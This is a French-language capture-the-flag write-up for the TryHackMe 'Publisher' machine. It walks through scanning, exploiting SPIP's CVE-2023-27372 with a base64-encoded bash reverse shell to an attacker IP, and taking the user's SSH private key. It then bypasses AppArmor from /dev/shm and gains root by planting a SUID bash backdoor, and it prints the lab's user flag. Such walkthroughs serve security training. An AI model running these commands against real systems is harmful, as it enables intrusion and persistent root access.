Aller au contenu

Writeup THM : Publisher

La première étape consiste à identifier les vecteurs d’entrée. Un scan exhaustif est nécessaire pour ne rater aucun service caché.

Méthodologie : Scan TCP complet (-p-), détection de version (-sV) et scripts par défaut (-sC).

Fenêtre de terminal
nmap -sS -sU -T5 -v -p- 10.10.240.69
Nmap scan report for 10.10.240.69
Host is up (0.40s latency).
Not shown: 964 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 59:b0:78:df:bf:a2:29:9f:53:62:49:d7:36:85:cd:be (RSA)
| 256 4b:23:88:24:24:8e:93:51:e1:3e:21:5d:c1:7f:ae:d4 (ECDSA)
|_ 256 b1:ba:e6:b7:d5:31:04:91:76:b7:a9:3d:58:8c:7c:c4 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Publisher's Pulse: SPIP Insights & Tips
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.41 (Ubuntu)
...

Le scan révèle un serveur Apache (80) et un service SSH (22).

  • Port 80 : Le titre de la page "Publisher's Pulse: SPIP Insights" confirme l’utilisation du CMS SPIP.
  • Version : L’analyse des headers et des fichiers statiques identifie SPIP 4.2.0.

Une recherche sur Exploit-DB et GitHub permet d’identifier la CVE-2023-27372. Cette vulnérabilité de désérialisation de formulaire permet une exécution de code à distance (RCE) sans authentification.


Pour obtenir un shell stable, j’opte pour un reverse shell Bash. Cependant, l’injection directe de caractères spéciaux (&, >, ) via une requête HTTP peut échouer à cause du filtrage ou de l’encodage URL.

Stratégie : Encoder le payload en Base64 pour garantir son intégrité, puis le décoder à la volée sur la cible.

Fenêtre de terminal
# Payload original : bash -i >& /dev/tcp/10.4.7.209/4433 0>&1
echo -n "bash -i >& /dev/tcp/10.4.7.209/4433 0>&1" | base64 -w0

J’utilise l’exploit public 51536.py.

Note technique : J’ai dû commenter une ligne du script (vérification de version stricte) qui empêchait l’exécution malgré la vulnérabilité avérée.

Fenêtre de terminal
python3 51536.py -u http://publisher.thm/spip -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC40LjcuMjA5LzQ0MzMgMD4mMQ== | base64 -d | bash"

Une fois le shell obtenu en tant que think, je migre vers une session SSH pour plus de confort (gestion du TTY, historique).

  1. Lecture de /home/think/.ssh/id_rsa.
  2. Attention : Lors de l’import local, il est impératif de laisser une ligne vide à la fin du fichier pour respecter le format OpenSSH.
  3. Connexion : chmod 600 id_rsa && ssh [email protected] -i id_rsa

User Flag : fa229046d44eda6a3598c73ad96f4ca5


En inspectant les fichiers SUID (find / -perm -4000), je découvre /usr/sbin/run_container. Une analyse via strings montre que ce binaire appelle un script shell dans /opt.

SUID

Problème : Impossible d’accéder à /opt, même en lecture, malgré des droits utilisateur classiques.

L’analyse de /etc/apparmor.d/ confirme la présence d’un profil pour /usr/bin/ash.

Raisonnement : L’utilisateur think utilise le shell ash par défaut, lequel est bridé par AppArmor. Si je change de shell pour un binaire non répertorié dans les profils restrictifs, je peux bypasser la sécurité.

Le répertoire /dev/shm est un système de fichiers en mémoire vive, souvent monté avec des permissions d’écriture pour tous (rwx).

shell
  1. Copie de /bin/bash (non restreint) vers /dev/shm.
  2. Exécution : /dev/shm/bash -p

Résultat : Le profil AppArmor ne s’applique plus. Le répertoire /opt et le script de déploiement sont désormais accessibles.


Le binaire SUID /usr/sbin/run_container exécute /opt/run_container.sh avec les privilèges root. Puisque nous avons maintenant accès en écriture au script, deux méthodes d’escalade sont possibles.

container

Modifier le script pour ajouter sa propre clé publique dans /root/.ssh/authorized_keys.

Le but est de créer une backdoor root dans /tmp.

Fenêtre de terminal
# Dans run_container.sh
cp /bin/bash /tmp/default
chmod +s /tmp/default
bash root

Pourquoi +s ? Le bit SUID sur un exécutable permet à n’importe quel utilisateur de lancer ce fichier avec les permissions du propriétaire (ici, root).

root

Et nous voici avec les droits root ! Root Flag : Récupéré dans /root/root.txt.